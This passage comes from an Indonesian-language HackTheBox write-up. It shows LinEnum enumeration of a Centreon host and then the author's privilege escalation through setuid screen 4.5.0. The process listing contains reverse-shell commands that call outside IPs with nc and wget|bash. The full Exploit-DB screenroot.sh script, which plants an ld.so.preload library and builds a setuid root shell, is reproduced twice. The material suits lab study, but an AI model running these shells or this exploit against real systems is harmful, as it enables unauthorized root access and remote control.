www-data   6094  0.1  1.8 602216 36748 ?        S    16:32   0:00 /usr/sbin/apache2 -k start
www-data   6139  0.1  1.7 600168 35732 ?        S    16:33   0:00 /usr/sbin/apache2 -k start
www-data   6151  0.1  1.7 600604 35932 ?        S    16:33   0:00 /usr/sbin/apache2 -k start
www-data   6193  0.1  1.7 600168 35164 ?        S    16:33   0:00 /usr/sbin/apache2 -k start
www-data   6194  0.1  1.8 602216 36720 ?        S    16:33   0:00 /usr/sbin/apache2 -k start
www-data   6307  0.0  0.9 596024 19280 ?        S    16:34   0:00 /usr/sbin/apache2 -k start
www-data   6308  0.0  1.0 596064 20812 ?        S    16:34   0:00 /usr/sbin/apache2 -k start
www-data   6310  0.0  0.1  19168  3880 pts/1    S+   16:34   0:00 bash LinEnum.sh
www-data   6311  0.1  0.1  19296  3080 pts/1    S+   16:34   0:00 bash LinEnum.sh
www-data   6312  0.0  0.0   4536   792 pts/1    S+   16:34   0:00 tee -a
www-data   6498  0.0  0.1  19296  2892 pts/1    S+   16:34   0:00 bash LinEnum.sh
www-data   6499  0.0  0.1  36700  3100 pts/1    R+   16:34   0:00 ps aux

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

[00;33m### SERVICES #############################################[00m

[00;31m[-] Running processes:[00m

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND

root 1 0.0 0.4 159544 8636 ? Ss 15:55 0:02 /sbin/init splash

root 2 0.0 0.0 0 0 ? S 15:55 0:00 [kthreadd]

root 4 0.0 0.0 0 0 ? I< 15:55 0:00 [kworker/0:0H]

root 6 0.0 0.0 0 0 ? I< 15:55 0:00 [mm_percpu_wq]

root 7 0.2 0.0 0 0 ? S 15:55 0:06 [ksoftirqd/0]

root 8 0.0 0.0 0 0 ? I 15:55 0:01 [rcu_sched]

root 9 0.0 0.0 0 0 ? I 15:55 0:00 [rcu_bh]

root 10 0.0 0.0 0 0 ? S 15:55 0:00 [migration/0]

root 11 0.0 0.0 0 0 ? S 15:55 0:00 [watchdog/0]

root 12 0.0 0.0 0 0 ? S 15:55 0:00 [cpuhp/0]

root 13 0.0 0.0 0 0 ? S 15:55 0:00 [kdevtmpfs]

root 14 0.0 0.0 0 0 ? I< 15:55 0:00 [netns]

root 15 0.0 0.0 0 0 ? S 15:55 0:00 [rcu_tasks_kthre]

root 16 0.0 0.0 0 0 ? S 15:55 0:00 [kauditd]

root 17 0.0 0.0 0 0 ? S 15:55 0:00 [khungtaskd]

root 18 0.0 0.0 0 0 ? S 15:55 0:00 [oom_reaper]

root 19 0.0 0.0 0 0 ? I< 15:55 0:00 [writeback]

root 20 0.0 0.0 0 0 ? S 15:55 0:00 [kcompactd0]

root 21 0.0 0.0 0 0 ? SN 15:55 0:00 [ksmd]

root 22 0.0 0.0 0 0 ? SN 15:55 0:00 [khugepaged]

root 23 0.0 0.0 0 0 ? I< 15:55 0:00 [crypto]

root 24 0.0 0.0 0 0 ? I< 15:55 0:00 [kintegrityd]

root 25 0.0 0.0 0 0 ? I< 15:55 0:00 [kblockd]

root 26 0.0 0.0 0 0 ? I< 15:55 0:00 [ata_sff]

root 27 0.0 0.0 0 0 ? I< 15:55 0:00 [md]

root 28 0.0 0.0 0 0 ? I< 15:55 0:00 [edac-poller]

root 29 0.0 0.0 0 0 ? I< 15:55 0:00 [devfreq_wq]

root 30 0.0 0.0 0 0 ? I< 15:55 0:00 [watchdogd]

root 32 0.0 0.0 0 0 ? I 15:55 0:01 [kworker/0:1]

root 34 0.0 0.0 0 0 ? S 15:55 0:00 [kswapd0]

root 35 0.0 0.0 0 0 ? I< 15:55 0:00 [kworker/u257:0]

root 36 0.0 0.0 0 0 ? S 15:55 0:00 [ecryptfs-kthrea]

root 78 0.0 0.0 0 0 ? I< 15:55 0:00 [kthrotld]

root 79 0.0 0.0 0 0 ? I< 15:55 0:00 [acpi_thermal_pm]

root 80 0.0 0.0 0 0 ? S 15:55 0:00 [scsi_eh_0]

root 81 0.0 0.0 0 0 ? I< 15:55 0:00 [scsi_tmf_0]

root 82 0.0 0.0 0 0 ? S 15:55 0:00 [scsi_eh_1]

root 83 0.0 0.0 0 0 ? I< 15:55 0:00 [scsi_tmf_1]

root 86 0.0 0.0 0 0 ? I 15:55 0:00 [kworker/0:2]

root 90 0.0 0.0 0 0 ? I< 15:55 0:00 [ipv6_addrconf]

root 99 0.0 0.0 0 0 ? I< 15:55 0:00 [kstrp]

root 116 0.0 0.0 0 0 ? I< 15:55 0:00 [charger_manager]

root 199 0.0 0.0 0 0 ? I< 15:55 0:00 [mpt_poll_0]

root 200 0.0 0.0 0 0 ? I< 15:55 0:00 [mpt/0]

root 201 0.0 0.0 0 0 ? I< 15:55 0:00 [kworker/0:1H]

root 202 0.0 0.0 0 0 ? S 15:55 0:00 [scsi_eh_2]

root 203 0.0 0.0 0 0 ? I< 15:55 0:00 [scsi_tmf_2]

root 224 0.0 0.0 0 0 ? S 15:55 0:00 [jbd2/sda1-8]

root 225 0.0 0.0 0 0 ? I< 15:55 0:00 [ext4-rsv-conver]

root 262 0.0 0.8 94920 17044 ? S<s 15:55 0:00 /lib/systemd/systemd-journald

root 308 0.0 0.2 45540 4428 ? Ss 15:55 0:00 /lib/systemd/systemd-udevd

root 353 0.0 0.0 0 0 ? I< 15:55 0:00 [ttm_swap]

root 354 0.0 0.0 0 0 ? S 15:55 0:00 [irq/16-vmwgfx]

systemd+ 424 0.0 0.1 141924 3172 ? Ssl 15:55 0:00 /lib/systemd/systemd-timesyncd

systemd+ 428 0.0 0.2 70624 5116 ? Ss 15:55 0:00 /lib/systemd/systemd-resolved

root 485 0.0 0.3 287540 6872 ? Ssl 15:55 0:00 /usr/lib/accountsservice/accounts-daemon

syslog 491 0.0 0.2 267272 4896 ? Ssl 15:55 0:00 /usr/sbin/rsyslogd -n

root 498 0.0 0.1 31320 3176 ? Ss 15:55 0:00 /usr/sbin/cron -f

message+ 504 0.0 0.2 50040 4332 ? Ss 15:55 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

root 506 0.0 0.8 170428 17128 ? Ssl 15:55 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers

root 508 0.0 0.2 62136 5600 ? Ss 15:55 0:00 /lib/systemd/systemd-logind

root 756 0.0 0.6 177088 12584 ? Sl 15:55 0:01 /usr/sbin/vmtoolsd

root 800 0.0 0.5 67368 10820 ? S 15:55 0:00 /usr/lib/vmware-vgauth/VGAuthService -s

root 866 0.0 2.5 526876 52112 ? Ss 15:55 0:00 php-fpm: master process (/etc/php/7.1/fpm/php-fpm.conf)

root 867 0.0 1.7 515660 34756 ? Ss 15:55 0:00 php-fpm: master process (/etc/php/7.3/fpm/php-fpm.conf)

root 872 0.0 1.0 187264 20416 ? Ssl 15:55 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal

Debian-+ 888 0.0 0.5 65692 11592 ? Ss 15:55 0:00 /usr/sbin/snmpd -Lsd -Lf /dev/null -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f

root 892 0.0 0.3 72296 6412 ? Ss 15:55 0:00 /usr/sbin/sshd -D

root 932 0.0 0.0 16180 1868 tty1 Ss+ 15:55 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux

www-data 978 0.0 0.8 517960 16296 ? S 15:55 0:00 php-fpm: pool www

www-data 979 0.0 0.8 517960 16300 ? S 15:55 0:00 php-fpm: pool www

mysql 999 0.8 6.0 672468 121512 ? Ssl 15:55 0:19 /usr/sbin/mysqld

root 1000 0.0 1.8 593676 36736 ? Ss 15:55 0:01 /usr/sbin/apache2 -k start

www-data 1006 0.0 0.8 529140 18040 ? S 15:55 0:00 php-fpm: pool www

www-data 1007 0.0 0.8 529140 18040 ? S 15:55 0:00 php-fpm: pool www

centreon 1056 0.0 1.0 70356 20256 ? S 15:55 0:00 /usr/bin/perl /usr/local/centreon/bin/centcore --logfile=/usr/local/centreon/log/centcore.log --severity=error --config=/etc/centreon/conf.pm

root 1899 0.0 0.0 0 0 ? I 16:06 0:00 [kworker/u256:0]

www-data 1933 0.0 2.1 610256 42856 ? S 16:07 0:00 /usr/sbin/apache2 -k start

www-data 2031 0.0 0.0 4628 860 ? S 16:08 0:00 sh -c /tmp/nc${IFS}-c${IFS}bash${IFS}10.10.14.71${IFS}4433 -v /usr/local/centreon/filesGeneration/engine/2/centengine.DEBUG 2>&1

www-data 2032 0.0 0.0 4628 800 ? S 16:08 0:00 sh -c bash

www-data 2037 0.0 0.1 18376 3116 ? S 16:08 0:00 bash

www-data 2302 0.0 0.3 33224 7000 ? S 16:09 0:00 python -c import pty; pty.spawn("/bin/sh")

www-data 2303 0.0 0.0 4628 1728 pts/0 Ss 16:09 0:00 /bin/sh

www-data 2583 0.0 2.1 609388 42724 ? S 16:14 0:00 /usr/sbin/apache2 -k start

www-data 2588 0.0 0.0 4628 808 ? S 16:14 0:00 sh -c wget${IFS}-qO-${IFS}http://10.10.15.157:8888/localPayload.txt${IFS}|${IFS}bash; -v /usr/local/centreon/filesGeneration/engine/1/centengine.DEBUG 2>&1

www-data 2590 0.0 0.1 18376 3108 ? S 16:14 0:00 bash

www-data 2598 0.0 0.0 4672 772 ? S 16:14 0:00 cat /tmp/f

www-data 2599 0.0 0.1 18508 3256 ? S 16:14 0:00 /bin/bash -i

www-data 2600 0.0 0.1 15716 2124 ? S 16:14 0:00 nc 10.10.15.157 4444

www-data 2627 0.0 0.3 33220 7348 ? S 16:15 0:00 python -c import pty;pty.spawn("/bin/bash")

www-data 2628 0.0 0.1 18508 3480 pts/2 Ss+ 16:15 0:00 /bin/bash

www-data 2769 0.0 0.0 156 4 pts/0 S 16:17 0:00 ./asd

www-data 2792 0.0 0.0 156 4 pts/0 S 16:17 0:00 ./asd

www-data 2840 0.1 2.0 608584 42020 ? S 16:18 0:01 /usr/sbin/apache2 -k start

www-data 2862 0.0 2.1 610252 42848 ? S 16:18 0:00 /usr/sbin/apache2 -k start

www-data 2865 0.1 2.1 610256 42492 ? S 16:18 0:01 /usr/sbin/apache2 -k start

www-data 2909 0.0 0.0 4628 772 pts/0 S 16:19 0:00 sh -c bash

www-data 2910 0.0 0.1 18376 3096 pts/0 S 16:19 0:00 bash

www-data 2928 0.0 0.0 4628 820 ? S 16:19 0:00 sh -c IFS=_;comm=sh_new;$comm -v /usr/local/centreon/filesGeneration/engine/1/centengine.DEBUG 2>&1

www-data 2929 0.0 0.0 4628 856 ? S 16:19 0:00 sh new -v /usr/local/centreon/filesGeneration/engine/1/centengine.DEBUG

www-data 2932 0.0 0.0 4672 816 ? S 16:19 0:00 cat /tmp/s

www-data 2933 0.0 0.0 4628 872 ? S 16:19 0:00 sh -i

www-data 2934 0.0 0.1 15716 2156 ? S 16:19 0:00 nc 10.10.15.246 1234

www-data 2994 0.1 0.0 1336 1248 pts/0 Sl 16:20 0:00 /tmp/QQxtR

root 3078 0.0 0.0 0 0 ? I 16:21 0:00 [kworker/u256:1]

www-data 3162 0.0 0.3 33220 7120 ? S 16:24 0:00 python -c import pty;pty.spawn("/bin/bash")

www-data 3163 0.0 0.1 18508 3480 pts/1 Ss 16:24 0:00 /bin/bash

www-data 3166 9.2 0.7 630596 14976 pts/0 Sl+ 16:24 0:58 ./pspy64s

www-data 3200 0.1 1.8 603144 37368 ? S 16:24 0:00 /usr/sbin/apache2 -k start

www-data 3250 0.0 1.6 596972 33236 ? S 16:26 0:00 /usr/sbin/apache2 -k start

www-data 3252 0.0 0.3 33092 7280 pts/0 S 16:26 0:00 python -c import pty; pty.spawn("/bin/sh")

www-data 3253 0.0 0.0 4628 784 pts/3 Ss+ 16:26 0:00 /bin/sh

www-data 5357 0.1 1.8 605704 38316 ? S 16:28 0:00 /usr/sbin/apache2 -k start

www-data 5364 0.1 1.8 602244 36472 ? S 16:28 0:00 /usr/sbin/apache2 -k start

www-data 5383 0.1 1.8 603412 38020 ? S 16:28 0:00 /usr/sbin/apache2 -k start

www-data 5483 0.1 1.6 598604 34060 ? S 16:29 0:00 /usr/sbin/apache2 -k start

www-data 5588 0.1 1.7 600196 35760 ? S 16:30 0:00 /usr/sbin/apache2 -k start

root 5837 0.0 0.0 0 0 ? I 16:30 0:00 [kworker/u256:2]

www-data 5866 0.1 1.8 602624 37036 ? S 16:30 0:00 /usr/sbin/apache2 -k start

www-data 6011 0.2 1.9 606784 40024 ? S 16:31 0:00 /usr/sbin/apache2 -k start

www-data 6015 0.1 1.8 602216 36748 ? S 16:31 0:00 /usr/sbin/apache2 -k start

www-data 6016 0.1 1.7 602216 36040 ? S 16:31 0:00 /usr/sbin/apache2 -k start

www-data 6020 0.2 1.7 600168 35740 ? S 16:31 0:00 /usr/sbin/apache2 -k start

www-data 6021 0.1 1.7 600196 35956 ? S 16:31 0:00 /usr/sbin/apache2 -k start

www-data 6061 0.1 1.7 600168 35740 ? S 16:32 0:00 /usr/sbin/apache2 -k start

www-data 6064 0.1 1.7 600168 35736 ? S 16:32 0:00 /usr/sbin/apache2 -k start

www-data 6067 0.1 1.7 600168 35740 ? S 16:32 0:00 /usr/sbin/apache2 -k start

www-data 6082 0.1 1.9 605556 38628 ? S 16:32 0:00 /usr/sbin/apache2 -k start

www-data 6093 0.1 1.7 600168 35596 ? S 16:32 0:00 /usr/sbin/apache2 -k start

www-data 6094 0.1 1.8 602216 36748 ? S 16:32 0:00 /usr/sbin/apache2 -k start

www-data 6139 0.1 1.7 600168 35732 ? S 16:33 0:00 /usr/sbin/apache2 -k start

www-data 6151 0.1 1.7 600604 35932 ? S 16:33 0:00 /usr/sbin/apache2 -k start

www-data 6193 0.1 1.7 600168 35164 ? S 16:33 0:00 /usr/sbin/apache2 -k start

www-data 6194 0.1 1.8 602216 36720 ? S 16:33 0:00 /usr/sbin/apache2 -k start

www-data 6307 0.0 0.9 596024 19280 ? S 16:34 0:00 /usr/sbin/apache2 -k start

www-data 6308 0.0 1.0 596064 20812 ? S 16:34 0:00 /usr/sbin/apache2 -k start

www-data 6310 0.0 0.1 19168 3880 pts/1 S+ 16:34 0:00 bash LinEnum.sh

www-data 6311 0.1 0.1 19296 3080 pts/1 S+ 16:34 0:00 bash LinEnum.sh

www-data 6312 0.0 0.0 4536 792 pts/1 S+ 16:34 0:00 tee -a

www-data 6498 0.0 0.1 19296 2892 pts/1 S+ 16:34 0:00 bash LinEnum.sh

www-data 6499 0.0 0.1 36700 3100 pts/1 R+ 16:34 0:00 ps aux

Nampaknya hanya banyak terisi command command dan process yang sudah ada dari sananya. Mari kita lihat ke bagian setuid

[00;31m[-] SUID files:[00m
-rwsr-xr-x 1 root root 43088 Oct 15  2018 /bin/mount
-rwsr-xr-x 1 root root 64424 Mar 10  2017 /bin/ping
-rwsr-xr-x 1 root root 1595624 Jul  4 00:25 /bin/screen-4.5.0
-rwsr-xr-x 1 root root 30800 Aug 11  2016 /bin/fusermount
-rwsr-xr-x 1 root root 44664 Mar 22  2019 /bin/su
-rwsr-xr-x 1 root root 26696 Oct 15  2018 /bin/umount
-rwsr-xr-x 1 root root 44528 Mar 22  2019 /usr/bin/chsh
-rwsr-xr-x 1 root root 59640 Mar 22  2019 /usr/bin/passwd
-rwsr-xr-x 1 root root 75824 Mar 22  2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 18448 Mar 10  2017 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 76496 Mar 22  2019 /usr/bin/chfn
-rwsr-xr-x 1 root root 40344 Mar 22  2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root 149080 Jan 18  2018 /usr/bin/sudo
-rwsr-xr-- 1 root messagebus 42992 Jun 10 21:05 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
-r-sr-xr-x 1 root root 13628 Aug 28 14:41 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root 14320 Aug 28 14:41 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device

[00;31m[-] SUID files:[00m

-rwsr-xr-x 1 root root 43088 Oct 15 2018 /bin/mount

-rwsr-xr-x 1 root root 64424 Mar 10 2017 /bin/ping

-rwsr-xr-x 1 root root 1595624 Jul 4 00:25 /bin/screen-4.5.0

-rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount

-rwsr-xr-x 1 root root 44664 Mar 22 2019 /bin/su

-rwsr-xr-x 1 root root 26696 Oct 15 2018 /bin/umount

-rwsr-xr-x 1 root root 44528 Mar 22 2019 /usr/bin/chsh

-rwsr-xr-x 1 root root 59640 Mar 22 2019 /usr/bin/passwd

-rwsr-xr-x 1 root root 75824 Mar 22 2019 /usr/bin/gpasswd

-rwsr-xr-x 1 root root 18448 Mar 10 2017 /usr/bin/traceroute6.iputils

-rwsr-xr-x 1 root root 76496 Mar 22 2019 /usr/bin/chfn

-rwsr-xr-x 1 root root 40344 Mar 22 2019 /usr/bin/newgrp

-rwsr-xr-x 1 root root 149080 Jan 18 2018 /usr/bin/sudo

-rwsr-xr-- 1 root messagebus 42992 Jun 10 21:05 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

-rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign

-r-sr-xr-x 1 root root 13628 Aug 28 14:41 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper

-r-sr-xr-x 1 root root 14320 Aug 28 14:41 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper

-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device

Dikarenakan penulis belum terlalu familiar dengan beberapa dari files yang ada di sini, maka penulis mencari 1 per 1 referensi atas files yang ada, dengan keyword di google (Nama File) exploit / zero day / priv escal. Ternyata terdapat 1 celah yang dapat kita manfaatkan

-rwsr-xr-x 1 root root 1595624 Jul  4 00:25 /bin/screen-4.5.0

1	-rwsr-xr-x 1 root root 1595624 Jul 4 00:25 /bin/screen-4.5.0

https://www.exploit-db.com/exploits/41154

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

#!/bin/bash

# screenroot.sh

# setuid screen v4.5.0 local root exploit

# abuses ld.so.preload overwriting to get root.

# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html

# HACK THE PLANET

# ~ infodox (25/1/2017)

echo "~ gnu/screenroot ~"

echo "[+] First, we create our shell and library..."

cat << EOF > /tmp/libhax.c

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

__attribute__ ((__constructor__))

void dropshell(void){

chown("/tmp/rootshell", 0, 0);

chmod("/tmp/rootshell", 04755);

unlink("/etc/ld.so.preload");

printf("[+] done!\n");

}

EOF

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

rm -f /tmp/libhax.c

cat << EOF > /tmp/rootshell.c

#include <stdio.h>

int main(void){

setuid(0);

setgid(0);

seteuid(0);

setegid(0);

execvp("/bin/sh", NULL, NULL);

}

EOF

gcc -o /tmp/rootshell /tmp/rootshell.c

rm -f /tmp/rootshell.c

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell

Mari kita gunakan script diatas untuk melakukan priv escal

Berhasil kita sudah root !

Sisanya tinggal locate root.txt dan user.txt untuk mengeluarkan isi dari text file tersebut dan submit ke website HackTheBox.

Leave a Reply Cancel reply